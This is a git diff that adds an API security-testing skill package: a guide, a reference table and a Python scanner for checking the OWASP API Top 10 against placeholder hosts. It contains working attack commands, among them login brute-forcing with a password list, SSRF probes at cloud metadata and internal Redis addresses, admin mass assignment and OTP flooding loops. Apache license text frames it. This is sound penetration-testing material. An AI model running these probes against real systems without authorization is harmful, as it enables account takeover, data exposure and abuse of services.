MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. Please do not remove or change + the license header comment from a contributed file except when + necessary. + + Copyright 2026 mukul975 + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/.claude/skills/testing-api-security-with-owasp-top-10/SKILL.md b/.claude/skills/testing-api-security-with-owasp-top-10/SKILL.md new file mode 100644 index 0000000..0850689 --- /dev/null +++ b/.claude/skills/testing-api-security-with-owasp-top-10/SKILL.md @@ -0,0 +1,355 @@ +--- +name: testing-api-security-with-owasp-top-10 +description: Systematically assesses REST, GraphQL, and gRPC API endpoints against the OWASP + API Security Top 10 (2023) using Burp Suite and Postman for automated and manual testing. + Use during authorized API penetration tests, before deploying new endpoints to production, + or when validating API gateway controls and rate limiting. +domain: cybersecurity +subdomain: web-application-security +tags: +- penetration-testing +- api-security +- owasp +- rest-api +- graphql +- burpsuite +- postman +version: '1.0' +author: mahipal +license: Apache-2.0 +nist_csf: +- PR.PS-01 +- ID.RA-01 +- PR.DS-10 +- DE.CM-01 +mitre_attack: +- T1190 +- T1059.007 +- T1505.003 +- T1083 +--- + +# Testing API Security with OWASP Top 10 + +## When to Use + +- During authorized API penetration testing engagements +- When assessing REST, GraphQL, or gRPC APIs for security vulnerabilities +- Before deploying new API endpoints to production environments +- When reviewing API security posture against the OWASP API Security Top 10 (2023) +- For validating API gateway security controls and rate limiting effectiveness + +## Prerequisites + +- **Authorization**: Written scope document covering all API endpoints to be tested +- **Burp Suite Professional**: For intercepting and modifying API requests +- **Postman**: For organizing and executing API test collections +- **ffuf**: For API endpoint and parameter fuzzing +- **curl/httpie**: Command-line HTTP clients for manual testing +- **API documentation**: Swagger/OpenAPI spec, GraphQL schema, or API docs +- **jq**: JSON processor for parsing API responses (`apt install jq`) + +## Workflow + +### Step 1: Discover and Map API Endpoints + +Enumerate all available API endpoints and understand the API surface. + +```bash +# If OpenAPI/Swagger spec is available, download it +curl -s "https://api.target.example.com/swagger.json" | jq '.paths | keys[]' +curl -s "https://api.target.example.com/v2/api-docs" | jq '.paths | keys[]' +curl -s "https://api.target.example.com/openapi.yaml" + +# Fuzz for API endpoints +ffuf -u "https://api.target.example.com/api/v1/FUZZ" \ + -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \ + -mc 200,201,204,301,401,403,405 \ + -fc 404 \ + -H "Content-Type: application/json" \ + -o api-enum.json -of json + +# Fuzz for API versions +for v in v1 v2 v3 v4 beta internal admin; do + status=$(curl -s -o /dev/null -w "%{http_code}" \ + "https://api.target.example.com/api/$v/users") + echo "$v: $status" +done + +# Check for GraphQL endpoint +for path in graphql graphiql playground query gql; do + status=$(curl -s -o /dev/null -w "%{http_code}" \ + -X POST -H "Content-Type: application/json" \ + -d '{"query":"{__typename}"}' \ + "https://api.target.example.com/$path") + echo "$path: $status" +done +``` + +### Step 2: Test API1 - Broken Object Level Authorization (BOLA) + +Test whether users can access objects belonging to other users by manipulating IDs. + +```bash +# Authenticate as User A and get their resources +TOKEN_A="Bearer eyJhbGciOiJIUzI1NiIs..." +curl -s -H "Authorization: $TOKEN_A" \ + "https://api.target.example.com/api/v1/users/101/orders" | jq . + +# Try accessing User B's resources with User A's token +curl -s -H "Authorization: $TOKEN_A" \ + "https://api.target.example.com/api/v1/users/102/orders" | jq . + +# Fuzz object IDs with Burp Intruder or ffuf +ffuf -u "https://api.target.example.com/api/v1/orders/FUZZ" \ + -w <(seq 1 1000) \ + -H "Authorization: $TOKEN_A" \ + -mc 200 -t 10 -rate 50 + +# Test IDOR with different ID formats +# Numeric: /users/102 +# UUID: /users/550e8400-e29b-41d4-a716-446655440000 +# Encoded: /users/MTAy (base64) +``` + +### Step 3: Test API2 - Broken Authentication + +Assess authentication mechanisms for weaknesses. + +```bash +# Test for missing authentication +curl -s "https://api.target.example.com/api/v1/users" | jq . + +# Test JWT token vulnerabilities +# Decode JWT without verification +echo "eyJhbGciOiJIUzI1NiIs..." | cut -d. -f2 | base64 -d 2>/dev/null | jq . + +# Test "alg: none" attack +# Header: {"alg":"none","typ":"JWT"} +# Create unsigned token with modified claims + +# Test brute-force protection on login +ffuf -u "https://api.target.example.com/api/v1/auth/login" \ + -X POST -H "Content-Type: application/json" \ + -d '{"email":"admin@target.com","password":"FUZZ"}' \ + -w /usr/share/seclists/Passwords/Common-Credentials/top-1000.txt \ + -mc 200 -t 5 -rate 10 + +# Test password reset flow +curl -s -X POST "https://api.target.example.com/api/v1/auth/reset" \ + -H "Content-Type: application/json" \ + -d '{"email":"victim@target.com"}' + +# Check if token is in response body instead of email only +``` + +### Step 4: Test API3 - Broken Object Property Level Authorization + +Test for excessive data exposure and mass assignment vulnerabilities. + +```bash +# Check for excessive data in responses +curl -s -H "Authorization: $TOKEN_A" \ + "https://api.target.example.com/api/v1/users/101" | jq . +# Look for: password hashes, SSNs, internal IDs, admin flags, PII + +# Test mass assignment - try adding admin properties +curl -s -X PUT \ + -H "Authorization: $TOKEN_A" \ + -H "Content-Type: application/json" \ + -d '{"name":"Test User","role":"admin","is_admin":true}' \ + "https://api.target.example.com/api/v1/users/101" | jq . + +# Test with PATCH method +curl -s -X PATCH \ + -H "Authorization: $TOKEN_A" \ + -H "Content-Type: application/json" \ + -d '{"role":"admin","balance":999999}' \ + "https://api.target.example.com/api/v1/users/101" | jq . + +# Check if filtering parameters expose more data +curl -s -H "Authorization: $TOKEN_A" \ + "https://api.target.example.com/api/v1/users/101?fields=all" | jq . +curl -s -H "Authorization: $TOKEN_A" \ + "https://api.target.example.com/api/v1/users/101?include=password,ssn" | jq . +``` + +### Step 5: Test API4/API6 - Rate Limiting and Unrestricted Access to Sensitive Flows + +Verify rate limiting and resource consumption controls. + +```bash +# Test rate limiting on authentication endpoint +for i in $(seq 1 100); do + status=$(curl -s -o /dev/null -w "%{http_code}" \ + -X POST -H "Content-Type: application/json" \ + -d '{"email":"test@test.com","password":"wrong"}' \ + "https://api.target.example.com/api/v1/auth/login") + echo "Attempt $i: $status" + if [ "$status" == "429" ]; then + echo "Rate limited at attempt $i" + break + fi +done + +# Test for unrestricted resource consumption +# Large pagination +curl -s -H "Authorization: $TOKEN_A" \ + "https://api.target.example.com/api/v1/users?limit=100000&offset=0" | jq '. | length' + +# GraphQL depth/complexity attack +curl -s -X POST \ + -H "Content-Type: application/json" \ + -H "Authorization: $TOKEN_A" \ + -d '{"query":"{ users { friends { friends { friends { friends { name } } } } } }"}' \ + "https://api.target.example.com/graphql" + +# Test SMS/email flooding via OTP endpoint +for i in $(seq 1 20); do + curl -s -X POST -H "Content-Type: application/json" \ + -d '{"phone":"+1234567890"}' \ + "https://api.target.example.com/api/v1/auth/send-otp" +done +``` + +### Step 6: Test API5 - Broken Function Level Authorization + +Check for privilege escalation through administrative endpoints. + +```bash +# Test admin endpoints with regular user token +ADMIN_ENDPOINTS=( + "/api/v1/admin/users" + "/api/v1/admin/settings" + "/api/v1/admin/logs" + "/api/v1/internal/config" + "/api/v1/users?role=admin" + "/api/v1/admin/export" +) + +for endpoint in "${ADMIN_ENDPOINTS[@]}"; do + for method in GET POST PUT DELETE; do + status=$(curl -s -o /dev/null -w "%{http_code}" \ + -X "$method" \ + -H "Authorization: $TOKEN_A" \ + -H "Content-Type: application/json" \ + "https://api.target.example.com$endpoint") + if [ "$status" != "403" ] && [ "$status" != "401" ] && [ "$status" != "404" ]; then + echo "POTENTIAL ISSUE: $method $endpoint returned $status" + fi + done +done + +# Test HTTP method switching +# If GET /admin/users returns 403, try: +curl -s -X POST -H "Authorization: $TOKEN_A" \ + "https://api.target.example.com/api/v1/admin/users" +``` + +### Step 7: Test API7-API10 - SSRF, Misconfiguration, Inventory, and Unsafe Consumption + +```bash +# API7: Server-Side Request Forgery +curl -s -X POST -H "Authorization: $TOKEN_A" \ + -H "Content-Type: application/json" \ + -d '{"url":"http://169.254.169.254/latest/meta-data/"}' \ + "https://api.target.example.com/api/v1/fetch-url" + +curl -s -X POST -H "Authorization: $TOKEN_A" \ + -H "Content-Type: application/json" \ + -d '{"webhook_url":"http://127.0.0.1:6379/"}' \ + "https://api.target.example.com/api/v1/webhooks" + +# API8: Security Misconfiguration +# Check CORS policy +curl -s -I -H "Origin: https://evil.example.com" \ + "https://api.target.example.com/api/v1/users" | grep -i "access-control" + +# Check for verbose error messages +curl -s -X POST -H "Content-Type: application/json" \ + -d '{"invalid": "data' \ + "https://api.target.example.com/api/v1/users" + +# Check security headers +curl -s -I "https://api.target.example.com/api/v1/health" | grep -iE \ + "(x-frame|x-content|strict-transport|content-security|x-xss)" + +# API9: Improper Inventory Management +# Test deprecated API versions +for v in v0 v1 v2 v3; do + curl -s -o /dev/null -w "$v: %{http_code}\n" \ + "https://api.target.example.com/api/$v/users" +done + +# API10: Unsafe Consumption of APIs +# Test if the API blindly trusts third-party data +# Check webhook/callback implementations for injection +``` + +## Key Concepts + +| Concept | Description | +|---------|-------------| +| **BOLA (API1)** | Broken Object Level Authorization - accessing objects belonging to other users | +| **Broken Authentication (API2)** | Weak authentication mechanisms allowing credential stuffing or token manipulation | +| **BOPLA (API3)** | Broken Object Property Level Authorization - excessive data exposure or mass assignment | +| **Unrestricted Resource Consumption (API4)** | Missing rate limiting enabling DoS or brute-force attacks | +| **Broken Function Level Auth (API5)** | Regular users accessing admin-level API functions | +| **SSRF (API7)** | Server-Side Request Forgery through API parameters accepting URLs | +| **Security Misconfiguration (API8)** | Missing security headers, verbose errors, permissive CORS | +| **Improper Inventory (API9)** | Undocumented, deprecated, or shadow API endpoints left exposed | + +## Tools & Systems + +| Tool | Purpose | +|------|---------| +| **Burp Suite Professional** | API interception, scanning, and manual testing | +| **Postman** | API collection management and automated test execution | +| **ffuf** | API endpoint and parameter fuzzing | +| **Kiterunner** | API endpoint discovery using common API path patterns | +| **jwt_tool** | JWT token analysis, manipulation, and attack automation | +| **GraphQL Voyager** | GraphQL schema visualization and introspection analysis | +| **Arjun** | HTTP parameter discovery for API endpoints | + +## Common Scenarios + +### Scenario 1: BOLA in E-commerce API +User A can access User B's order details by changing the order ID in `/api/v1/orders/{id}`. The API only checks authentication but not authorization on the object level. + +### Scenario 2: Mass Assignment on User Profile +The user update endpoint accepts a `role` field in the JSON body. By adding `"role":"admin"` to a profile update request, a regular user escalates to administrator privileges. + +### Scenario 3: Deprecated API Version Bypass +The `/api/v2/users` endpoint has proper rate limiting, but `/api/v1/users` (still active) has no rate limiting. Attackers use the old version to brute-force credentials. + +### Scenario 4: GraphQL Introspection Data Leak +GraphQL introspection is enabled in production, exposing the entire schema including internal queries, mutations, and sensitive field names that are not used in the frontend. + +## Output Format + +``` +## API Security Assessment Report + +**Target**: api.target.example.com +**API Type**: REST (OpenAPI 3.0) +**Assessment Date**: 2024-01-15 +**OWASP API Security Top 10 (2023) Coverage** + +| Risk | Status | Severity | Details | +|------|--------|----------|---------| +| API1: BOLA | VULNERABLE | Critical | /api/v1/orders/{id} - IDOR confirmed | +| API2: Broken Auth | VULNERABLE | High | No rate limit on /auth/login | +| API3: BOPLA | VULNERABLE | High | User role modifiable via mass assignment | +| API4: Resource Consumption | VULNERABLE | Medium | No pagination limit enforced | +| API5: Function Level Auth | PASS | - | Admin endpoints properly restricted | +| API6: Unrestricted Sensitive Flows | VULNERABLE | Medium | OTP endpoint lacks rate limiting | +| API7: SSRF | PASS | - | URL parameters properly validated | +| API8: Misconfiguration | VULNERABLE | Medium | Verbose stack traces in error responses | +| API9: Improper Inventory | VULNERABLE | Low | API v1 still accessible without docs | +| API10: Unsafe Consumption | NOT TESTED | - | No third-party API integrations found | + +### Critical Finding: BOLA on Orders API +Authenticated users can access any order by iterating order IDs. +Tested range: 1-1000, 847 valid orders accessible. +PII exposure: names, addresses, payment details. +``` diff --git a/.claude/skills/testing-api-security-with-owasp-top-10/references/api-reference.md b/.claude/skills/testing-api-security-with-owasp-top-10/references/api-reference.md new file mode 100644 index 0000000..a71d540 --- /dev/null +++ b/.claude/skills/testing-api-security-with-owasp-top-10/references/api-reference.md @@ -0,0 +1,54 @@ +# API Reference: Testing API Security with OWASP Top 10 + +## requests Library + +### Installation +```bash +pip install requests +``` + +### Key Methods +| Method | Description | +|--------|-------------| +| `requests.get(url, headers=, params=, timeout=)` | Send GET request | +| `requests.post(url, json=, headers=, timeout=)` | Send POST request | +| `requests.put(url, json=, headers=)` | Send PUT request | +| `requests.patch(url, json=, headers=)` | Send PATCH request | +| `requests.delete(url, headers=)` | Send DELETE request | +| `requests.options(url, headers=)` | Send OPTIONS preflight | + +### Response Object +| Attribute | Description | +|-----------|-------------| +| `resp.status_code` | HTTP status code (200, 401, 403, 429) | +| `resp.headers` | Response headers dict | +| `resp.json()` | Parse response body as JSON | +| `resp.text` | Response body as string | +| `resp.elapsed` | Response time as timedelta | + +## OWASP API Security Top 10 (2023) +| ID | Risk | Test Approach | +|----|------|---------------| +| API1 | Broken Object Level Auth | Iterate object IDs with another user's token | +| API2 | Broken Authentication | Brute-force login, test JWT weaknesses | +| API3 | Broken Object Property Level Auth | Check excessive data + mass assignment | +| API4 | Unrestricted Resource Consumption | Test pagination limits, rate limiting | +| API5 | Broken Function Level Auth | Access admin endpoints as regular user | +| API6 | Unrestricted Access to Sensitive Flows | Abuse OTP, reset, registration flows | +| API7 | Server-Side Request Forgery | Inject internal URLs in URL parameters | +| API8 | Security Misconfiguration | Check headers, CORS, error verbosity | +| API9 | Improper Inventory Management | Find deprecated API versions | +| API10 | Unsafe Consumption of APIs | Test trust boundaries with third-party data | + +## Security Header Checks +| Header | Expected Value | +|--------|---------------| +| `Strict-Transport-Security` | `max-age=31536000; includeSubDomains` | +| `X-Content-Type-Options` | `nosniff` | +| `X-Frame-Options` | `DENY` or `SAMEORIGIN` | +| `Content-Security-Policy` | Restrictive policy | + +## References +- OWASP API Security Top 10: https://owasp.org/API-Security/ +- OWASP Testing Guide: https://owasp.org/www-project-web-security-testing-guide/ +- requests docs: https://docs.python-requests.org/ diff --git a/.claude/skills/testing-api-security-with-owasp-top-10/scripts/agent.py b/.claude/skills/testing-api-security-with-owasp-top-10/scripts/agent.py new file mode 100644 index 0000000..4f535cf --- /dev/null +++ b/.claude/skills/testing-api-security-with-owasp-top-10/scripts/agent.py @@ -0,0 +1,223 @@ +#!/usr/bin/env python3 +"""Agent for automated API security testing against OWASP API Security Top 10.""" + +import os +import requests +import json +import argparse +import urllib3 +from datetime import datetime +from urllib.parse import urljoin + +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + + +def test_bola(base_url, token, endpoints, id_range=(1, 20)): + """Test for Broken Object Level Authorization (API1).""" + print("\n[*] Testing API1: Broken Object Level Authorization (BOLA)...") + findings = [] + headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"} + for endpoint in endpoints: + for obj_id in range(id_range[0], id_range[1]): + url = urljoin(base_url, endpoint.replace("{id}", str(obj_id))) + try: + resp = requests.get(url, headers=headers, timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments + if resp.status_code == 200 and len(resp.text) > 50: + findings.append({ + "risk": "API1-BOLA", "url": url, "status": resp.status_code, + "body_length": len(resp.text), "severity": "CRITICAL", + }) + print(f" [!] VULNERABLE: GET {url} -> {resp.status_code} ({len(resp.text)} bytes)") + except requests.RequestException: + continue + return findings + + +def test_broken_auth(base_url, login_endpoint="/api/v1/auth/login", attempts=50): + """Test for Broken Authentication (API2) - rate limiting on login.""" + print("\n[*] Testing API2: Broken Authentication (rate limiting)...") + url = urljoin(base_url, login_endpoint) + findings = [] + rate_limited = False + for i in range(1, attempts + 1): + try: + resp = requests.post(url, json={"email": "test@test.com", "password": f"wrong{i}"}, + timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments + if resp.status_code == 429: + print(f" [+] Rate limited at attempt {i}") + rate_limited = True + break + except requests.RequestException: + break + if not rate_limited: + findings.append({ + "risk": "API2-BROKEN_AUTH", "url": url, "severity": "HIGH", + "detail": f"No rate limiting after {attempts} failed login attempts", + }) + print(f" [!] No rate limiting after {attempts} attempts") + return findings + + +def test_data_exposure(base_url, token, endpoints): + """Test for Broken Object Property Level Authorization (API3).""" + print("\n[*] Testing API3: Excessive Data Exposure...") + headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"} + sensitive_fields = ["password", "password_hash", "ssn", "credit_card", "secret", + "api_key", "token", "internal_id", "salt"] + findings = [] + for endpoint in endpoints: + url = urljoin(base_url, endpoint) + try: + resp = requests.get(url, headers=headers, timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments + if resp.status_code == 200: + try: + data = resp.json() + data_str = json.dumps(data).lower() + exposed = [f for f in sensitive_fields if f in data_str] + if exposed: + findings.append({ + "risk": "API3-DATA_EXPOSURE", "url": url, + "exposed_fields": exposed, "severity": "HIGH", + }) + print(f" [!] {url}: Exposes {exposed}") + except json.JSONDecodeError: + pass + except requests.RequestException: + continue + return findings + + +def test_mass_assignment(base_url, token, endpoint, payload_extras): + """Test for mass assignment vulnerabilities.""" + print("\n[*] Testing API3: Mass Assignment...") + headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"} + url = urljoin(base_url, endpoint) + findings = [] + for field, value in payload_extras.items(): + try: + resp = requests.patch(url, headers=headers, json={field: value}, + timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments + if resp.status_code in (200, 201): + resp_data = resp.json() if resp.text else {} + if str(value) in json.dumps(resp_data): + findings.append({ + "risk": "API3-MASS_ASSIGNMENT", "url": url, + "field": field, "value": value, "severity": "CRITICAL", + }) + print(f" [!] VULNERABLE: Field '{field}' accepted with value '{value}'") + except requests.RequestException: + continue + return findings + + +def test_security_headers(base_url): + """Test for Security Misconfiguration (API8).""" + print("\n[*] Testing API8: Security Misconfiguration (headers)...") + findings = [] + try: + resp = requests.get(base_url, timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments + required_headers = { + "Strict-Transport-Security": "HSTS", + "X-Content-Type-Options": "nosniff", + "X-Frame-Options": "clickjacking protection", + "Content-Security-Policy": "CSP", + } + for header, desc in required_headers.items(): + if header.lower() not in {k.lower(): v for k, v in resp.headers.items()}: + findings.append({ + "risk": "API8-MISCONFIGURATION", "header": header, + "detail": f"Missing {desc}", "severity": "MEDIUM", + }) + print(f" [!] Missing: {header} ({desc})") + else: + print(f" [+] Present: {header}") + except requests.RequestException as e: + print(f" [-] Error: {e}") + return findings + + +def test_cors(base_url, endpoints): + """Test CORS configuration on API endpoints.""" + print("\n[*] Testing CORS configuration...") + findings = [] + evil_origins = ["https://evil.com", "null", "http://localhost"] + for endpoint in endpoints[:3]: + url = urljoin(base_url, endpoint) + for origin in evil_origins: + try: + resp = requests.get(url, headers={"Origin": origin}, timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments + acao = resp.headers.get("Access-Control-Allow-Origin", "") + acac = resp.headers.get("Access-Control-Allow-Credentials", "") + if acao == origin and acac.lower() == "true": + findings.append({ + "risk": "CORS_MISCONFIGURATION", "url": url, + "origin": origin, "severity": "HIGH", + }) + print(f" [!] {url}: Reflects origin '{origin}' with credentials") + except requests.RequestException: + continue + return findings + + +def test_api_versions(base_url, path_prefix="/api"): + """Test for Improper Inventory Management (API9).""" + print("\n[*] Testing API9: Improper Inventory Management...") + findings = [] + versions = ["v0", "v1", "v2", "v3", "v4", "beta", "internal", "admin", "debug"] + for v in versions: + url = urljoin(base_url, f"{path_prefix}/{v}/users") + try: + resp = requests.get(url, timeout=5, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments + if resp.status_code not in (404, 000): + findings.append({"risk": "API9-INVENTORY", "url": url, "status": resp.status_code}) + print(f" [+] {v}: {resp.status_code}") + except requests.RequestException: + continue + return findings + + +def generate_report(all_findings, output_path): + """Generate OWASP API Security assessment report.""" + report = { + "assessment_date": datetime.now().isoformat(), + "total_findings": len(all_findings), + "by_severity": {}, + "findings": all_findings, + } + for f in all_findings: + sev = f.get("severity", "INFO") + report["by_severity"][sev] = report["by_severity"].get(sev, 0) + 1 + with open(output_path, "w") as fh: + json.dump(report, fh, indent=2) + print(f"\n[*] Report saved to {output_path}") + print(f"[*] Total findings: {len(all_findings)}") + for sev, count in report["by_severity"].items(): + print(f" {sev}: {count}") + + +def main(): + parser = argparse.ArgumentParser(description="OWASP API Security Top 10 Testing Agent") + parser.add_argument("base_url", help="Base URL of the API (e.g., https://api.target.com)") + parser.add_argument("--token", help="Bearer token for authentication") + parser.add_argument("--endpoints", nargs="+", default=["/api/v1/users/{id}", "/api/v1/orders/{id}"]) + parser.add_argument("--login-endpoint", default="/api/v1/auth/login") + parser.add_argument("-o", "--output", default="api_security_report.json") + args = parser.parse_args() + + print(f"[*] OWASP API Security Top 10 Assessment") + print(f"[*] Target: {args.base_url}") + all_findings = [] + all_findings.extend(test_security_headers(args.base_url)) + all_findings.extend(test_cors(args.base_url, args.endpoints)) + all_findings.extend(test_api_versions(args.base_url)) + all_findings.extend(test_broken_auth(args.base_url, args.login_endpoint)) + if args.token: + all_findings.extend(test_bola(args.base_url, args.token, args.endpoints)) + all_findings.extend(test_data_exposure(args.base_url, args.token, args.endpoints)) + all_findings.extend(test_mass_assignment(args.base_url, args.token, args.endpoints[0], + {"role": "admin", "is_admin": True})) + generate_report(all_findings, args.output) + + +if __name__ == "__main__": + main() diff --git a/.claude/skills/testing-cors-misconfiguration/LICENSE b/.claude/skills/testing-cors-misconfiguration/LICENSE new file mode 100644 index 0000000..d885118 --- /dev/null +++ b/.claude/skills/testing-cors-misconfiguration/LICENSE @@ -0,0 +1,201 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to the Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by the Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding any notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the 